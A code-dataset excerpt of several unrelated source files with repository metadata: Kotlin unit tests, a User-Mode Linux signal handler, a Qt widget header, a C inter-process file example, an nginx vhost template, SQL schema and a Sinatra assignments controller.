] | 73 | 2020-12-06T23:20:42.000Z | 2022-03-22T11:44:20.000Z | src/test/kotlin/com/octawizard/domain/model/EmailTest.kt | octawizard/padles-api | a1d58d6fe35dda02a8cff27b52d2693ef4881fa4 | [
"Apache-2.0"
] | null | null | null | package com.octawizard.domain.model
import org.junit.jupiter.api.Assertions.assertEquals
import org.junit.jupiter.api.Assertions.assertFalse
import org.junit.jupiter.api.Assertions.assertThrows
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
class EmailTest {
@Test
fun `Email should validate its value`() {
val value = "valid@test.com"
val email = Email(value)
assertEquals(value, email.value)
}
@Test
fun `Email should not validate empty value`() {
assertThrows(IllegalStateException::class.java) { Email("") }
}
@Test
fun `Email should not validate invalid value`() {
assertThrows(IllegalStateException::class.java) { Email("not an email") }
}
@Test
fun `Email should not be equals to another object`() {
assertFalse(Email("test@test.com").equals(1))
}
@Test
fun `Email should be equals if value is the same`() {
assertTrue(Email("test@test.com").equals(Email("test@test.com")))
}
}
| 28.4 | 81 | 0.689261 |
3b1b9244f468d4a4d54808b61d5e655e54c1bcb3 | 1,692 | c | C | kernels/linux-2.6.24/arch/um/os-Linux/skas/trap.c | liuhaozzu/linux | bdf9758cd23e34b5f53e8e6339d9b29348615e14 | [
"Apache-2.0"
] | null | null | null | kernels/linux-2.6.24/arch/um/os-Linux/skas/trap.c | liuhaozzu/linux | bdf9758cd23e34b5f53e8e6339d9b29348615e14 | [
"Apache-2.0"
] | 1 | 2021-04-09T09:24:44.000Z | 2021-04-09T09:24:44.000Z | arch/um/os-Linux/skas/trap.c | KylinskyChen/linuxCore_2.6.24 | 11e90b14386491cc80477d4015e0c8f673f6d020 | [
"MIT"
] | null | null | null | /*
* Copyright (C) 2002 - 2007 Jeff Dike (jdike@{addtoit,linux.intel}.com)
* Licensed under the GPL
*/
#if 0
#include "kern_util.h"
#include "skas.h"
#include "ptrace_user.h"
#include "sysdep/ptrace_user.h"
#endif
#include <errno.h>
#include <signal.h>
#include "sysdep/ptrace.h"
#include "kern_constants.h"
#include "as-layout.h"
#include "os.h"
#include "sigcontext.h"
#include "task.h"
static struct uml_pt_regs ksig_regs[UM_NR_CPUS];
void sig_handler_common_skas(int sig, void *sc_ptr)
{
struct sigcontext *sc = sc_ptr;
struct uml_pt_regs *r;
void (*handler)(int, struct uml_pt_regs *);
int save_user, save_errno = errno;
/*
* This is done because to allow SIGSEGV to be delivered inside a SEGV
* handler. This can happen in copy_user, and if SEGV is disabled,
* the process will die.
* XXX Figure out why this is better than SA_NODEFER
*/
if (sig == SIGSEGV) {
change_sig(SIGSEGV, 1);
/*
* For segfaults, we want the data from the
* sigcontext. In this case, we don't want to mangle
* the process registers, so use a static set of
* registers. For other signals, the process
* registers are OK.
*/
r = &ksig_regs[cpu()];
copy_sc(r, sc_ptr);
}
else r = TASK_REGS(get_current());
save_user = r->is_user;
r->is_user = 0;
if ((sig == SIGFPE) || (sig == SIGSEGV) || (sig == SIGBUS) ||
(sig == SIGILL) || (sig == SIGTRAP))
GET_FAULTINFO_FROM_SC(r->faultinfo, sc);
change_sig(SIGUSR1, 1);
handler = sig_info[sig];
/* unblock SIGVTALRM, SIGIO if sig isn't IRQ signal */
if ((sig != SIGIO) && (sig != SIGWINCH) && (sig != SIGVTALRM))
unblock_signals();
handler(sig, r);
errno = save_errno;
r->is_user = save_user;
}
| 24.171429 | 72 | 0.670213 |
99527e8bb7f4fb8bc8feb6e769ef47130d944edf | 2,948 | h | C | Ui/Drawing/praticalarraydrawingwidget.h | xubenhao/VisualAlgorithm | 5fc45d9a4fc58569953fe3d880517adcd2fb0881 | [
"Apache-2.0"
] | 1 | 2021-01-29T02:12:53.000Z | 2021-01-29T02:12:53.000Z | Ui/Drawing/praticalarraydrawingwidget.h | xubenhao/VisualAlgorithm | 5fc45d9a4fc58569953fe3d880517adcd2fb0881 | [
"Apache-2.0"
] | null | null | null | Ui/Drawing/praticalarraydrawingwidget.h | xubenhao/VisualAlgorithm | 5fc45d9a4fc58569953fe3d880517adcd2fb0881 | [
"Apache-2.0"
] | null | null | null | // Author : XuBenHao
// Version : 1.0.0
// Mail : xbh370970843@163.com
// Copyright : XuBenHao 2020 - 2030
#ifndef APP_UI_PRATICALARRAYDRAWINGWIDGET_H
#define APP_UI_PRATICALARRAYDRAWINGWIDGET_H
#include "Ui/header.h"
class PraticalArrayDrawingWidget : public QWidget
{
Q_OBJECT
public:
explicit PraticalArrayDrawingWidget(QWidget *parent = nullptr);
void Initialize();
virtual void timerEvent(QTimerEvent *event);
void ResetShow(int nId_, int nCapacity_);
void Load(int nId_, int nCapacity_);
void Save();
public:
void Insert(int nIndex_, QString strValue_);
void Delete(int nIndex_);
void SearchByValue(QString strValue_);
void SearchByIndex(int nIndex_);
protected:
void paintEvent(QPaintEvent* event) Q_DECL_OVERRIDE;
public:
void ProcessNcShow(NNcShow::NcShow* pShow_);
int GetState(){return m_nState;}
Q_SIGNALS:
void Reset();
void ProcessTip(NNcShow::NcShowTip* pNcShow_);
void Sync(
int nSize_,
const NDataStruct::DynArray<QString>& arrValues_);
private:
void LoadModelFile(QString strFile_);
void SaveModelFile(QString strFile_);
NModel::Part* ConstructInsertElement(
QString strValue_,
int nIndex_,
double& nDeltaLength_);
void GenerateInsertFile(
const QString& strValue_,
int nIndex_,
double nDeltaLength_,
long nInsertObjId_);
void GenerateDeleteFile(
int nIndex_,
double nDeltaLength_);
void GenerateSearchFile(
const QString& strValue_);
void AdjustInitialTransform();
QImage GetImage();
void GetArrayParameter(NParameter::ArrayNcParameter& nArrNcParam_);
void GetModalParameter(NFileParse::ArrayModalData& nModalData_);
void ResetAllParts();
NModel::Part* ConstructInsertElement(
char* pContent_,
int nIndex_,
double& nDeltaLength_);
NModel::Part* ConstructScalePart();
void InsertCallback(
const NParameter::Element& nEle_,
int nIndex_);
void DeleteCallback(
int nIndex_);
void SearchValueCallback();
private:
NModel::Part* m_pScalePart;
NDataStruct::DynArray<NModel::Part*> m_arrEleParts;
NDataStruct::DynArray<NModel::Part*> m_arrEleBackGroundParts;
NDataStruct::DynArray<NModel::Part*> m_arrEleIndexParts;
NDataStruct::DynArray<NModel::Part*> m_arrParts;
NAnimationService::AnimationService *m_pService;
int m_nRefreshTimerId;
NDataStruct::KeyAllocator<NModel::Part*> m_nKeyAllocator;
NModel::Part* m_pInsertPart;
private:
QImage m_nImage;
int m_nState;
//NParameter::ArrayNcElement m_nNcParam;
int m_nId;
std::function<void()> m_nFinishCallBack;
NParameter::ArrayParameter m_nModelParam;
//NDataStruct::DynArray<NParameter::ArrayNcElement> m_arrElements;
};
#endif
| 30.391753 | 72 | 0.683853 |
a1a02d10d7b08de4eef96cb3a6933fa8e088b71d | 1,415 | c | C | Class-2/Process.C/process-file/main.c | Phoebus-Ma/C-Helper | 14455116e1762dba12698e3d21bf0c28b4f90558 | [
"MIT"
] | null | null | null | Class-2/Process.C/process-file/main.c | Phoebus-Ma/C-Helper | 14455116e1762dba12698e3d21bf0c28b4f90558 | [
"MIT"
] | null | null | null | Class-2/Process.C/process-file/main.c | Phoebus-Ma/C-Helper | 14455116e1762dba12698e3d21bf0c28b4f90558 | [
"MIT"
] | null | null | null | /**
* C process use file communication example.
*
* License - MIT.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#define TEMP_FILE_NAME "communication.tmp"
/**
* child_process_function - Read data from file.
*/
int child_process_function(void)
{
int fd = -1;
char buf[32 + 1] = { 0 };
sleep(1);
fd = open(TEMP_FILE_NAME, O_RDONLY);
if (0 > fd) {
printf("Error in open.");
return -1;
}
read(fd, buf, 32);
printf("Child process read: %s.\n", buf);
close(fd);
return 0;
}
/**
* parent_process_function - Write data to file.
*/
int parent_process_function(void)
{
int fd = open(TEMP_FILE_NAME, O_WRONLY | O_CREAT, 0664);
if (0 > fd) {
printf("Error in open.");
return -1;
}
printf("Parent process write: Hello.\n");
write(fd, "Hello", 5 + 1);
close(fd);
return 0;
}
/**
* Main function.
*/
int main(void)
{
pid_t pid = -1;
pid = fork();
switch (pid)
{
case -1:
printf("Error in fork.\n");
break;
/* Child process. */
case 0:
child_process_function();
exit(0);
break;
/* Parent process. */
default:
parent_process_function();
wait(NULL);
break;
}
return 0;
}
| 14.894737 | 60 | 0.540636 |
03ff9d260cfbcb25ef93ec02175e7cbb352f625c | 4,136 | kt | Kotlin | src/test/kotlin/proguard/classfile/editor/LibraryClassEditorTest.kt | md-5/proguard-core | 6cd532a03c82eb27b14920e38b44130500acdf5d | [
"Apache-2.0"
] | 169 | 2020-06-02T10:20:06.000Z | 2022-03-22T11:33:08.000Z | src/test/kotlin/proguard/classfile/editor/LibraryClassEditorTest.kt | md-5/proguard-core | 6cd532a03c82eb27b14920e38b44130500acdf5d | [
"Apache-2.0"
] | 23 | 2020-06-02T20:21:00.000Z | 2022-01-14T16:47:48.000Z | src/test/kotlin/proguard/classfile/editor/LibraryClassEditorTest.kt | md-5/proguard-core | 6cd532a03c82eb27b14920e38b44130500acdf5d | [
"Apache-2.0"
] | 25 | 2020-06-16T12:53:56.000Z | 2022-01-16T08:34:26.000Z | /*
* ProGuardCORE -- library to process Java bytecode.
*
* Copyright (c) 2002-2021 Guardsquare NV
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package proguard.classfile.editor
import io.kotest.core.spec.style.FreeSpec
import io.kotest.matchers.collections.shouldContain
import io.kotest.matchers.collections.shouldNotContain
import io.kotest.matchers.shouldBe
import io.mockk.every
import io.mockk.mockk
import proguard.classfile.AccessConstants
import proguard.classfile.ClassConstants
import proguard.classfile.Clazz
import proguard.classfile.LibraryClass
import proguard.classfile.LibraryField
import proguard.classfile.LibraryMethod
class LibraryClassEditorTest : FreeSpec({
"Given a LibraryClassEditor, initialized from a given LibraryClass" - {
val libraryClass = LibraryClass(
AccessConstants.PUBLIC,
"MyLibraryClass",
ClassConstants.NAME_JAVA_LANG_OBJECT
)
val editor = LibraryClassEditor(libraryClass)
"When adding an interface by name and class" - {
val myInterfaceName = "myInterfaceName"
val myInterface = mockk<Clazz>()
every { myInterface.name } returns myInterfaceName
editor.addInterface(myInterfaceName, myInterface)
"Then the interfaceNames of the LibraryClass should contain the name of the added interface" {
libraryClass.interfaceNames shouldContain myInterfaceName
}
"Then the interfaceClasses of the LibraryClass should contain the interface" {
libraryClass.interfaceClasses shouldContain myInterface
}
"Then the interfaceClasses of the LibraryClass should contain the interface at " +
"the same index as the interface name is in the interfaceNames" {
val indexOfInterfaceName = libraryClass.interfaceNames.indexOf(myInterfaceName)
libraryClass.interfaceClasses[indexOfInterfaceName] shouldBe myInterface
}
"When removing the interface by name" - {
editor.removeInterface(myInterfaceName)
"Then the LibraryClass should no longer contain the interface name" {
libraryClass.interfaceNames shouldNotContain myInterfaceName
}
"Then the LibraryClass should no longer contain the interface class" {
libraryClass.interfaceClasses shouldNotContain myInterface
}
}
}
"When adding a method" - {
val method = LibraryMethod()
editor.addMethod(method)
"Then the methods of the LibraryClass should contain this method" {
libraryClass.methods shouldContain method
}
"When removing the method" - {
editor.removeMethod(method)
"Then the methods of the LibraryClass should not contain this method" {
libraryClass.methods shouldNotContain method
}
}
}
"When adding a field" - {
val field = LibraryField()
editor.addField(field)
"Then the fields of the LibraryClass should contain this field" {
libraryClass.fields shouldContain field
}
"fields removing the field" - {
editor.removeField(field)
"Then the fields of the LibraryClass should not contain this field" {
libraryClass.fields shouldNotContain field
}
}
}
}
})
| 40.950495 | 106 | 0.652563 |
d242e59c752d62c28486d3c7ce1faf672b0b625d | 1,404 | php | PHP | resources/views/dashboard/nginx/vhost80.blade.php | moxyrus/laravel-forge-free | 1625c77ca821da1febcf10808dfcc2d226548db1 | [
"MIT"
] | 1 | 2021-03-03T23:33:53.000Z | 2021-03-03T23:33:53.000Z | resources/views/dashboard/nginx/vhost80.blade.php | moxyrus/laravel-forge-free | 1625c77ca821da1febcf10808dfcc2d226548db1 | [
"MIT"
] | 3 | 2021-06-17T15:29:23.000Z | 2022-01-08T19:05:51.000Z | resources/views/dashboard/nginx/vhost80.blade.php | moxyrus/laravel-forge-free | 1625c77ca821da1febcf10808dfcc2d226548db1 | [
"MIT"
] | 1 | 2022-01-22T23:40:01.000Z | 2022-01-22T23:40:01.000Z | <?php
/** @var \App\Models\Site $site */
?>
server {
listen 80;
listen [::]:80;
server_name {{ $site->getUrl() }} www.{{ $site->getUrl() }};
server_tokens off;
root {{ $site->getSiteDir() }}/public;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";
index index.html index.htm index.php;
merge_slashes off;
charset utf-8;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location = /favicon.ico { access_log off; log_not_found off; }
location = /robots.txt { access_log off; log_not_found off; }
access_log off;
error_log /var/log/nginx/uovgo.ru-error.log error;
error_page 404 /index.php;
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_intercept_errors off;
fastcgi_buffer_size 16k;
fastcgi_buffers 4 16k;
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
}
location ~* \.(jpg|jpeg|png|gif|ico|css|js|svg)$ {
expires 7d;
}
location ~ /\.(?!well-known).* {
deny all;
}
}
| 24.631579 | 73 | 0.619658 |
328409121b511b8d70e154a4364ff13a4eb23404 | 1,595 | kt | Kotlin | app/src/main/java/app/frankenstein/atmlocator/data/RepositoryImpl.kt | pablopatarca/Crypto-ATM-Locator | ac3dd08be1fedff759217e3f30d11b4f876ac287 | [
"MIT"
] | null | null | null | app/src/main/java/app/frankenstein/atmlocator/data/RepositoryImpl.kt | pablopatarca/Crypto-ATM-Locator | ac3dd08be1fedff759217e3f30d11b4f876ac287 | [
"MIT"
] | null | null | null | app/src/main/java/app/frankenstein/atmlocator/data/RepositoryImpl.kt | pablopatarca/Crypto-ATM-Locator | ac3dd08be1fedff759217e3f30d11b4f876ac287 | [
"MIT"
] | null | null | null | package app.frankenstein.atmlocator.data
import app.frankenstein.atmlocator.domain.*
import app.frankenstein.atmlocator.utils.CoroutineDispatchers
import kotlinx.coroutines.withContext
import javax.inject.Inject
class RepositoryImpl @Inject constructor(
private val poiDataSource: PoiApi,
private val dispatchers: CoroutineDispatchers
) : Repository {
override suspend fun getPoi(
bounds: Bounds
): Result<List<Venue>> {
return try {
poiDataSource.getVenues(
bounds.latNorthEast,
bounds.lngNorthEast,
bounds.latSouthWest,
bounds.lngSouthWest
).getNetworkResponse().let { result ->
withContext(dispatchers.Default){
when(result){
is Success -> {
Success(
result.toVenuesList()
)
}
is Failure -> Failure(result.cause)
}
}
}
} catch (e: Exception){
Failure(e)
}
}
private fun Success<VenuesListDto>.toVenuesList(): List<Venue>{
return data.venues.map {
with(it){
Venue(
id = id,
name = name,
category = category,
coordinate = Coordinate(
latitude,
longitude
)
)
}
}
}
} | 29 | 67 | 0.471473 |
04f873836f05feb785301c63c970bec935606b98 | 1,373 | sql | SQL | SummerNoteApi&S3/sql/summernote.sql | nob0dj/springWebAPI | f43546dcd102cdecd326ea8bf34b407a4d134004 | [
"BSD-3-Clause"
] | null | null | null | SummerNoteApi&S3/sql/summernote.sql | nob0dj/springWebAPI | f43546dcd102cdecd326ea8bf34b407a4d134004 | [
"BSD-3-Clause"
] | 14 | 2020-03-04T21:44:27.000Z | 2021-12-09T20:50:57.000Z | SummerNoteApi&S3/sql/summernote.sql | nob0dj/springWebAPI | f43546dcd102cdecd326ea8bf34b407a4d134004 | [
"BSD-3-Clause"
] | 1 | 2019-08-05T01:06:58.000Z | 2019-08-05T01:06:58.000Z | --==============================================================
-- summernote테이블 생성
--==============================================================
create table summernote(
id number,
writer varchar2(256), --글쓴이: not null처리 안함
contents clob, --내용: not null처리 안함
reg_date date default sysdate,
is_temp char(1) default 'N', --임시파일여부
constraint pk_summernote primary key(id),
constraint ck_summernote check(is_temp in('Y','N'))
);
create sequence seq_summernote;
select * from summernote order by id desc;
--==============================================================
-- s3object 테이블 생성
--==============================================================
--s3에 업로드된 파일은 객체(object)라고 부른다.
create table s3object(
id number,
original_filename varchar2(256) not null,
renamed_filename varchar2(256) not null,
resource_url varchar2(512) not null,
content_type varchar2(256),
file_size number,
download_count number default 0,
reg_date date default sysdate,
constraint pk_s3object primary key(id)
);
--drop table s3object;
--truncate table s3object;
create sequence seq_s3object;
select
*
from
summernote;
--delete from summernote where is_temp = 'Y';
--commit;
select
*
from
s3object
order by id desc; | 26.921569 | 65 | 0.530226 |
eb391e6c3d9ff880baa1f3b5d8b6ba2b9df98c4c | 8,696 | rs | Rust | src/commands/new.rs | temrix/godot-rust-cli | ecfd59007d11ad1461d0669b7f7acb442849a94f | [
"MIT"
] | 13 | 2021-03-17T15:52:31.000Z | 2021-12-10T19:58:32.000Z | src/commands/new.rs | temrix/godot-rust-cli | ecfd59007d11ad1461d0669b7f7acb442849a94f | [
"MIT"
] | 25 | 2021-03-18T23:13:58.000Z | 2021-08-23T18:43:04.000Z | src/commands/new.rs | temrix/godot-rust-cli | ecfd59007d11ad1461d0669b7f7acb442849a94f | [
"MIT"
] | 4 | 2021-06-06T01:00:56.000Z | 2021-10-30T16:43:35.000Z | use std::env::set_current_dir;
use std::fs::{create_dir_all, read_to_string, write};
use std::path::PathBuf;
use std::process::{exit, Command};
use convert_case::{Case, Casing};
use crate::command_build::build_library;
use crate::command_create::create_module;
use crate::config_utils::{create_initial_config, Config};
use crate::definitions::CargoToml;
use crate::file_utils::write_and_fmt;
use crate::gdnlib_utils::create_initial_gdnlib;
use crate::log_utils::{log_styled_message_to_console, ConsoleColors};
use crate::path_utils::get_absolute_path;
/// Creates the library used to manage Rust modules.
///
/// # Arguments
///
/// `name` - The name of the library.
/// `godot_project_dir` - The relative path to the directory of the Godot project the plugin or modules are for.
/// `plugin` - Indicates whether the library is for a plugin or not.
/// `skip_build` - Indicates whether the build should be skipped after creating the library or not.
pub fn create_library(name: &str, godot_project_dir: PathBuf, plugin: bool, skip_build: bool) {
log_styled_message_to_console("Creating library", ConsoleColors::WHITE);
let library_name_normalized = name.to_case(Case::Snake);
let library_absolute_path = get_absolute_path(&PathBuf::from(&name));
let godot_project_absolute_path = get_absolute_path(&godot_project_dir);
check_if_library_already_exists(library_absolute_path);
check_if_godot_project_valid(&godot_project_absolute_path);
create_cargo_library(&library_name_normalized);
set_current_dir(&library_name_normalized).expect("Unable to change to library directory");
create_library_cargo_toml();
let godot_project_dir_name = godot_project_absolute_path
.file_name()
.unwrap()
.to_str()
.expect("Unable to convert Godot file name to str")
.to_string();
let config = create_initial_config(name.to_owned(), godot_project_dir_name, plugin);
create_initial_lib_file();
log_styled_message_to_console(
"running initial build to generate Godot project structure",
ConsoleColors::CYAN,
);
if plugin {
create_plugin_structure_in_godot(&name, &godot_project_absolute_path);
}
create_gdnative_dir_in_godot(
&library_name_normalized,
&godot_project_absolute_path,
&config,
);
create_initial_gdnlib(&config);
// For testing we skip building the library so that tests won't take a
// long time to run. We already test building on its own so it isn't
// necessary to run here.
if !skip_build {
// Otherwise, in normal environments, we want to run the initial build
// or else Godot will throw errors stating it can't find the dynamic
// library for the project.
build_library(false, false);
}
log_styled_message_to_console("library created", ConsoleColors::GREEN);
}
/// Creates the `Cargo.toml` file for the library.
fn create_library_cargo_toml() {
// Get the base Cargo.toml contents of the library.
let library_cargo_toml_string = read_to_string("Cargo.toml")
.expect("Unable to read library's Cargo.toml file while creating the library");
// Add the necessary dependencies to the base contents.
let new_library_cargo_toml: CargoToml = toml::from_str(&library_cargo_toml_string)
.expect("Unable to parse the library's Cargo.toml file");
// Turn the new contents of the library's Cargo.toml into a string so that we
// can write it back to the library. We also need to normalize some things here
// because when we turn the Cargo toml contents to a string, extra symbols get
// added.
let new_library_cargo_toml_string = toml::to_string(&new_library_cargo_toml)
.expect(
"Unable to convert the library's new Cargo.toml to a string while creating the library",
)
.replace("\\", "")
.replace("\"{", "{")
.replace("}\"", "}");
// Next we overwrite the contents of the Cargo.toml file with our contents.
write("Cargo.toml", new_library_cargo_toml_string).expect(
"Unable to update contents of the library's Cargo.toml file while creating the library",
);
}
/// Checks to see if a directory with the name of the library to create already
/// exists and if it does, then we log it to the console and exit early.
///
/// # Arguments
///
/// `library_absolute_path` - The absolute path to the library directory to create.
fn check_if_library_already_exists(library_absolute_path: PathBuf) {
if library_absolute_path.exists() {
// If there's already a directory with the library name then we print an
// error to the console and exit early.
log_styled_message_to_console(
"Cannot create library, directory with the same name already exists",
ConsoleColors::RED,
);
exit(1);
}
}
/// Checks to see if the Godot project is valid by checking whether it has a
/// project.godot file or not.
///
/// # Arguments
///
/// `godot_project_absolute_path` - The absolute path to the Godot project.
fn check_if_godot_project_valid(godot_project_absolute_path: &PathBuf) {
if !godot_project_absolute_path.join("project.godot").exists() {
// If there's not a project.godot file at the root of the provided Godot
// project directory then we print an error to the console and exit early.
log_styled_message_to_console(
"The Godot project dir provided is not valid",
ConsoleColors::RED,
);
exit(1);
}
}
/// Creates the library using the `cargo new --lib` command.
///
/// # Arguments
///
/// `library_name` - The name of the library to pass to the `cargo new` command.
fn create_cargo_library(library_name: &String) {
match Command::new("cargo")
.arg("new")
.arg(&library_name)
.arg("--lib")
.output()
{
Ok(_v) => (),
Err(e) => {
log_styled_message_to_console(&e.to_string(), ConsoleColors::RED);
exit(1);
}
}
}
/// Creates the gdnative directory within the Godot project.
///
/// # Arguments
///
/// `library_name_snake_case` - The snake case version of the library name.
/// `godot_project_absolute_path` - The absolute path to the Godot project.
/// `config` - The config.
fn create_gdnative_dir_in_godot(
library_name_snake_case: &str,
godot_project_absolute_path: &PathBuf,
config: &Config,
) {
let gdnative_path = if config.is_plugin {
godot_project_absolute_path
.join("addons")
.join(&library_name_snake_case)
.join("gdnative")
} else {
godot_project_absolute_path.join("gdnative")
};
match create_dir_all(&gdnative_path) {
Ok(_) => (),
Err(e) => {
// If there was a problem creating the directory then we print the error
// to the console and exit early.
log_styled_message_to_console(&e.to_string(), ConsoleColors::RED);
exit(1);
}
}
}
/// Creates the initial `lib.rs` file in the library directory.
fn create_initial_lib_file() {
let lib_template = include_str!("../templates/lib.rs");
write_and_fmt("src/lib.rs", lib_template).expect(
"Unable to create the initial lib.rs file in the library while creating the library",
);
}
/// Creates the plugin structure for a plugin library with the Godot project by
/// creating an addons folder if it doesn't exist, and then the plugin folder
/// with the configuration needed.
///
/// # Arguments
///
/// `plugin_name` - The name of the plugin.
/// `godot_project_absolute_path` - The absolute path to the Godot project.
fn create_plugin_structure_in_godot(plugin_name: &str, godot_project_path: &PathBuf) {
let module_name_snake_case = &plugin_name.to_case(Case::Snake);
let godot_plugin_dir = godot_project_path
.join("addons")
.join(&module_name_snake_case);
let godot_plugin_cfg = godot_plugin_dir.join("plugin.cfg");
create_dir_all(&godot_plugin_dir)
.expect("Unable to create the plugin directory structure in Godot project while creating the library");
create_module(&plugin_name);
let plugin_cfg = include_str!("../templates/plugin-cfg.txt");
let plugin_cfg_with_name = plugin_cfg.replace("PLUGIN_NAME", &plugin_name);
let plugin_cfg_with_script = plugin_cfg_with_name.replace(
"PLUGIN_GDNS_LOCATION",
&format!("{}.gdns", &module_name_snake_case),
);
write(godot_plugin_cfg, plugin_cfg_with_script)
.expect("Unable to write plugin.cfg file in the Godot project while creating the library");
}
| 37.162393 | 112 | 0.691697 |
968828cf7192766357f85730fc361cea8a2f80c0 | 1,435 | php | PHP | old/html/backup.php | nicearma/cuf | 20c5e3b3727c41a55ad87a6204f81edd58afa490 | [
"Apache-2.0"
] | 1 | 2017-08-28T12:19:48.000Z | 2017-08-28T12:19:48.000Z | old/html/backup.php | nicearma/cuf | 20c5e3b3727c41a55ad87a6204f81edd58afa490 | [
"Apache-2.0"
] | null | null | null | old/html/backup.php | nicearma/cuf | 20c5e3b3727c41a55ad87a6204f81edd58afa490 | [
"Apache-2.0"
] | null | null | null | <script type="text/template" id="cuf_table_backup">
<thead>
<tr>
<th><?php _e('Restore','cuf') ?></th>
<th><?php _e('ID','cuf') ?></th>
<th><?php _e('File','cuf') ?></th>
</tr>
</thead>
</script>
<script type="text/template" id="cuf_tbody_backup">
<% var src; %>
<tr>
<td><input type="checkbox" class="backup" data-id="<%= mCUFBackup.get('id') %>" /></td>
<td><%= mCUFBackup.get('id') %></td>
<td>
<%
var only=true;
_.each(mCUFBackup.get('files'),function(file){
if(file.indexOf('.backup')==-1){
if(only){
only=false;
src=mCUFBackup.get('urlBase')+'/'+mCUFBackup.get('id')+'/'+file;
%>
<a href="<%= src %>">
<img width="40px" height="40px" src="<%= src %>" /> </a>
<%
}
}
}); %>
</td>
</tr>
</script>
<script type="text/template" id="dnui_button_backup">
<h2>
<button class="button-primary cuf_restore_backup" type="button"><?php _e('Restore selected','cuf') ?> </button>
<button class="button-primary cuf_cleanup_backup right" type="button"><?php _e('Cleanup all backup','cuf') ?> </button>
<button class="button-primary cuf_delet_backup right" type="button"><?php _e('Delete selected','cuf') ?> </button>
</h2>
</script> | 29.895833 | 124 | 0.490592 |
c6a048abfaa30b1fa23b7a24aef4ff21df2beddc | 3,233 | rb | Ruby | app/controllers/assignments_controller.rb | fitzgebt/Teacher_Student_Assignments_db | 4bfbf5eee100ddfe37a92a514ad0277ba6844c3c | [
"CC0-1.0"
] | null | null | null | app/controllers/assignments_controller.rb | fitzgebt/Teacher_Student_Assignments_db | 4bfbf5eee100ddfe37a92a514ad0277ba6844c3c | [
"CC0-1.0"
] | null | null | null | app/controllers/assignments_controller.rb | fitzgebt/Teacher_Student_Assignments_db | 4bfbf5eee100ddfe37a92a514ad0277ba6844c3c | [
"CC0-1.0"
] | null | null | null | class AssignmentsController < ApplicationController
get '/assignments' do
if !logged_in?
redirect '/login'
end
@assignments = Assignment.all
erb :'/assignments/index'
end
get '/assignments/new' do
if !logged_in?
redirect '/login'
end
@students = Student.all
erb :'/assignments/new'
end
post '/assignments' do
if Assignment.create(title: params[:assignment][:title], content: params[:assignment][:content]).id
assignment = Assignment.all.last
assignment.teacher_id = current_user.id
students = Student.all
students.each do |student|
AssignmentsStudent.create(assignment_id: assignment.id, student_id: student.id)
end
assignment.assignments_students.each do |assignment_student|
if params[:students][assignment_student.student_id.to_s][:grade] == ""
assignment_student.update(grade: "Missing")
else
assignment_student.update(grade: params[:students][assignment_student.student_id.to_s][:grade])
end
end
assignment.save
redirect "/assignments/#{assignment.id}"
else
redirect '/assignments/new'
end
end
get '/assignments/:id/edit' do
if !logged_in?
redirect '/login'
end
@assignment = Assignment.find_by_id(params[:id])
@students = Student.all
if @assignment.teacher_id == current_user.id
erb :'/assignments/edit'
else
redirect '/assignments'
end
end
get '/assignments/:id' do
if !logged_in?
redirect '/teachers/login'
end
@assignment = Assignment.find_by_id(params[:id])
@teacher = Teacher.find_by_id(@assignment.teacher_id)
erb :'/assignments/show'
end
patch '/assignments/:id' do
if !logged_in?
redirect '/login'
end
assignment = Assignment.find_by_id(params[:id])
if params[:assignment][:content] == "" || params[:assignment][:title] == ""
redirect "assignments/#{assignment.id}/edit"
else
assignment.update(title: params[:assignment][:title], content: params[:assignment][:content])
assignment.assignments_students.each do |assignment_student|
assignment_student.update(grade: params[:students][assignment_student.student_id.to_s][:grade])
end
redirect "/assignments/#{assignment.id}"
end
end
delete '/assignments/:id' do
if !logged_in?
redirect '/login'
end
assignment = Assignment.find_by_id(params[:id])
if current_user.id == assignment.teacher_id
assignment.assignments_students.each do |jt_assignment|
jt_assignment.destroy
end
assignment.destroy
redirect "/teachers/#{current_user.slug}"
else
redirect "/teachers/#{current_user.slug}"
end
end
end
| 32.989796 | 115 | 0.569749 |
c46eafabe2a7efb2e1cce40c52729ecce573f197 | 78 | h | C | src/dll/hook.h | elizagamedev/rpglauncher | fbf2f636ac88843e256a588b07327d6dc0ad6f3c | [
"MIT"
] | 4 | 2017-10-11T17:28:26.000Z | 2019-05-25T14:43:16.000Z | src/dll/hook.h | mathewv/rpglauncher | fbf2f636ac88843e256a588b07327d6dc0ad6f3c | [
"MIT"
] | null | null | null | src/dll/hook.h | mathewv/rpglauncher | fbf2f636ac88843e256a588b07327d6dc0ad6f3c | [
"MIT"
] | null | null | null | #ifndef HOOK_H
#define HOOK_H
#include "common.h"
BOOL hook_init();
#endif
| 8.666667 | 19 | 0.717949 |
668bdb509174662fce8d68b2cb05afae0f2c3f11 | 1,250 | swift | Swift | UnstoppableWallet/UnstoppableWallet/Modules/CreateWallet/CreateWalletModule.swift | Roller-Wallet/rollerwallet-ios | cf439a3d4b42865f8f19f7f3bb4ddae19e208638 | [
"MIT"
] | 1 | 2021-03-02T00:08:02.000Z | 2021-03-02T00:08:02.000Z | UnstoppableWallet/UnstoppableWallet/Modules/CreateWallet/CreateWalletModule.swift | RollerWallet/rollerwallet-ios | cf439a3d4b42865f8f19f7f3bb4ddae19e208638 | [
"MIT"
